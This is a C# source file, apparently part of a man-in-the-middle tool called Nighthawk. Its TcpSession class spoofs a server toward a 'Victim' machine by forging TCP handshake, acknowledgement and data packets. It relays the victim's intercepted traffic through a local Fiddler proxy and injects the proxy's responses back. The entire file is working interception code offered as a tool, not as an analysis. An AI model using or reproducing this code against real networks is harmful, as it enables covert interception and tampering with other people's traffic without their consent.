using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text.RegularExpressions;
using System.Windows;
using System.Windows.Documents;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Shell;
using PacketDotNet;
using SharpPcap;
using SharpPcap.WinPcap;
using System.Net;
using PacketDotNet.Tcp;
using System.Threading.Tasks;
using System.Text;
namespace Nighthawk
{
public class TcpSession
{
private readonly Random r = new Random();
public readonly PhysicalAddress MyMAC = Main.me.ARPTools.physicalAddress;
public ushort SourcePort;
public uint BaseSequence, BaseAck;
public uint BaseClientTimestamp = 0, BaseServerTimestamp;
public uint Seq = 0, Ack = 0;
public uint CurrentClientTimestamp = 0, CurrentServerTimestamp;
public byte WindowScaling = 1;
public ushort ClientMaximumSegmentSize = 1000; //SHOULD be overwritten
public ushort ClientWindowSize = 0;
private const uint SegmentSizeSafeValue = 50;
private EthernetPacket GeneratedSynAck = null;
public DateTime LastRecivedPacketDate;
public IPAddress VictimIP, DestinationIP;
public PhysicalAddress VictimMAC;
public TcpClient Fiddler;
public StreamReader Reader;
public Queue<EthernetPacket> SendingQueue = new Queue<EthernetPacket>();
public bool Acked = false;
public ushort ServerPort;
public TcpSession(TcpPacket SynPacket, IPAddress VictimIP, IPAddress DestinationIP, PhysicalAddress VictimMAC)
{
Task.Factory.StartNew(() =>
{
Fiddler = new TcpClient("127.0.0.1", 8888);
Reader = new StreamReader(Fiddler.GetStream());
});
if (!SynPacket.Syn)
throw new Exception("The packet is NOT a SYN packet!");
this.ServerPort = SynPacket.DestinationPort;
this.VictimIP = VictimIP;
this.DestinationIP = DestinationIP;
this.VictimMAC = VictimMAC;
BaseAck = SynPacket.SequenceNumber;
BaseSequence = (uint)r.Next(0, 1000000);
SourcePort = SynPacket.SourcePort;
ClientWindowSize = SynPacket.WindowSize;
var packetTimestamp = SynPacket.OptionsCollection.FirstOrDefault(o => o.Kind == PacketDotNet.Tcp.OptionTypes.Timestamp) as TimeStamp;
if (packetTimestamp != null)
{
BaseClientTimestamp = packetTimestamp.Value;
CurrentClientTimestamp = packetTimestamp.Value;
}
BaseServerTimestamp = (uint)r.Next(0, 100000);
CurrentServerTimestamp = BaseClientTimestamp;
var packetWindowScaling = SynPacket.OptionsCollection.FirstOrDefault(o => o.Kind == OptionTypes.WindowScaleFactor) as WindowScaleFactor;
if (packetWindowScaling != null)
{
WindowScaling = packetWindowScaling.ScaleFactor;
}
var packetMaximumSegementSize = SynPacket.OptionsCollection.FirstOrDefault(o => o.Kind == OptionTypes.MaximumSegmentSize) as MaximumSegmentSize;
if (packetMaximumSegementSize != null)
{
ClientMaximumSegmentSize = packetMaximumSegementSize.Value;
}
LastRecivedPacketDate = DateTime.Now;
}
private EthernetPacket GeneratePshPacket(byte[] data)
{
var tcpPshAck = new TcpPacket(ServerPort, SourcePort);
tcpPshAck.Psh = true;
tcpPshAck.Ack = true;
tcpPshAck.AcknowledgmentNumber = BaseAck + Ack;
tcpPshAck.SequenceNumber = BaseSequence + Seq;
tcpPshAck.WindowSize = ClientWindowSize;
var bytes = new List<byte>();
bytes.AddRange(new byte[] { 0x01, 0x01, 0x08, 0x0a }); //NOP, NOP, Timestamp type and length
bytes.AddRange((BitConverter.GetBytes(CurrentServerTimestamp + (DateTime.Now - LastRecivedPacketDate).TotalMilliseconds).Reverse()));
bytes.AddRange((BitConverter.GetBytes(CurrentClientTimestamp).Reverse()));
var headerBytes = tcpPshAck.Bytes.ToList();
headerBytes.AddRange(bytes);
headerBytes[12] = (byte)(headerBytes.Count << 2);
tcpPshAck = new TcpPacket(new PacketDotNet.Utils.ByteArraySegment(headerBytes.ToArray()));
tcpPshAck.PayloadData = data;
tcpPshAck.UpdateCalculatedValues();
Seq += (uint)data.Length;
return GenerateEthernetPacketFromTcpPacket(tcpPshAck);
}
private EthernetPacket GenerateAckPacket()
{
var tcpAck = new TcpPacket(ServerPort, SourcePort);
tcpAck.Ack = true;
tcpAck.AcknowledgmentNumber = BaseAck + Ack;
tcpAck.SequenceNumber = BaseSequence + Seq;
tcpAck.WindowSize = ClientWindowSize;
var bytes = new List<byte>();
bytes.AddRange(new byte[] { 0x01, 0x01, 0x08, 0x0a }); //NOP, NOP, Timestamp type and length
bytes.AddRange((BitConverter.GetBytes(CurrentServerTimestamp).Reverse()));
bytes.AddRange((BitConverter.GetBytes(CurrentClientTimestamp).Reverse()));
var headerBytes = tcpAck.Bytes.ToList();
headerBytes.AddRange(bytes);
headerBytes[12] = (byte)(headerBytes.Count << 2);
tcpAck = new TcpPacket(new PacketDotNet.Utils.ByteArraySegment(headerBytes.ToArray()));
tcpAck.UpdateCalculatedValues();
return GenerateEthernetPacketFromTcpPacket(tcpAck);
}
public EthernetPacket GenerateSynAckPacket()
{
if (GeneratedSynAck != null)
return GeneratedSynAck;
var tcpSynAck = new TcpPacket(ServerPort, SourcePort);
Ack++;
tcpSynAck.Ack = true;
tcpSynAck.Syn = true;
tcpSynAck.AcknowledgmentNumber = BaseAck + Ack;
tcpSynAck.SequenceNumber = BaseSequence + Seq;
tcpSynAck.WindowSize = ClientWindowSize;
//now, lets build the bytes for the Options
var bytes = new List<byte>();
bytes.AddRange(new byte[] { 0x02, 0x04 }); //Maximum Segment Size type, length
bytes.AddRange(BitConverter.GetBytes(ClientMaximumSegmentSize).Reverse()); //value
bytes.AddRange(new byte[] { 0x04, 0x02 }); //SACK Permission
bytes.AddRange(new byte[] { 0x08, 0x0a }); //Timestamp type and length
bytes.AddRange((BitConverter.GetBytes(CurrentServerTimestamp).Reverse()));
bytes.AddRange((BitConverter.GetBytes(CurrentClientTimestamp).Reverse()));
bytes.AddRange(new byte[] { 0x01, 0x03, 0x03, WindowScaling }); //NOP, window scale
//should be of length 20 (RAWR)
var headerBytes = tcpSynAck.Bytes.ToList();
headerBytes.AddRange(bytes);
headerBytes[12] = (byte)(headerBytes.Count << 2);
tcpSynAck = new TcpPacket(new PacketDotNet.Utils.ByteArraySegment(headerBytes.ToArray()));
tcpSynAck.UpdateCalculatedValues();
GeneratedSynAck = GenerateEthernetPacketFromTcpPacket(tcpSynAck);
return GeneratedSynAck;
}
public EthernetPacket GenerateEthernetPacketFromTcpPacket(TcpPacket tcp)
{
var eth = new EthernetPacket(MyMAC, VictimMAC, EthernetPacketType.None);
var ipLayer = new IPv4Packet(DestinationIP, VictimIP);
ipLayer.FragmentFlags = 0x40;
eth.PayloadPacket = ipLayer;
ipLayer.PayloadPacket = tcp;
ipLayer.UpdateIPChecksum();
ipLayer.UpdateCalculatedValues();
eth.UpdateCalculatedValues();
ipLayer.UpdateCalculatedValues();
ipLayer.UpdateIPChecksum();
tcp.UpdateCalculatedValues();
tcp.UpdateTCPChecksum();
return eth;
}
public EthernetPacket HandlePacket(TcpPacket Packet)
{
//should transmit what it returns
if (Packet.OptionsCollection != null)
{
var timeStamp = Packet.OptionsCollection.FirstOrDefault(o => o.Kind == OptionTypes.Timestamp) as TimeStamp;
if (timeStamp != null)
{
CurrentClientTimestamp = timeStamp.Value;
}
}
if (Packet.Ack)
{
var relativeAck = Packet.AcknowledgmentNumber - BaseSequence;
Seq = relativeAck;
Acked = true;
Console.WriteLine("Acked!");
}
if (Packet.Psh)
{
//we need to generate an ACK for this...
Ack += (uint)Packet.PayloadData.Length;
var ethAckPacket = GenerateAckPacket();
//and also send fiddler ;)
try
{
Fiddler.GetStream().Write(Packet.PayloadData, 0, Packet.PayloadData.Length);
}
catch { }
return ethAckPacket;
}
return null;
}
public EthernetPacket Work()
{
string str;
try
{
str = Reader.ReadToEnd();
}
catch
{
return null;
}
var data = Encoding.ASCII.GetBytes(str);
if (data.Length == 0)
{
if (SendingQueue.Count > 0 && Acked)
{
Acked = false;
return SendingQueue.Dequeue();
}
return null;
}
var actualSize = ClientMaximumSegmentSize - SegmentSizeSafeValue;
var countOfPackets = (int)(data.Length / actualSize);
if(data.Length != actualSize * countOfPackets)
countOfPackets++;
Console.WriteLine("Got request data, {0} bytes, made into {1} packets {2} each", data.Length, countOfPackets, actualSize);
for (var i = 0; i < countOfPackets; ++i)
{
EthernetPacket tcpPshPacket;
if (i < countOfPackets - 1)
{
tcpPshPacket = GeneratePshPacket(data.Skip((int)(i * actualSize)).Take((int)actualSize).ToArray());
}
else
{
tcpPshPacket = GeneratePshPacket(data.Skip((int)(i * actualSize)).ToArray());
}
SendingQueue.Enqueue(tcpPshPacket);
}
return SendingQueue.Dequeue();
}
}
}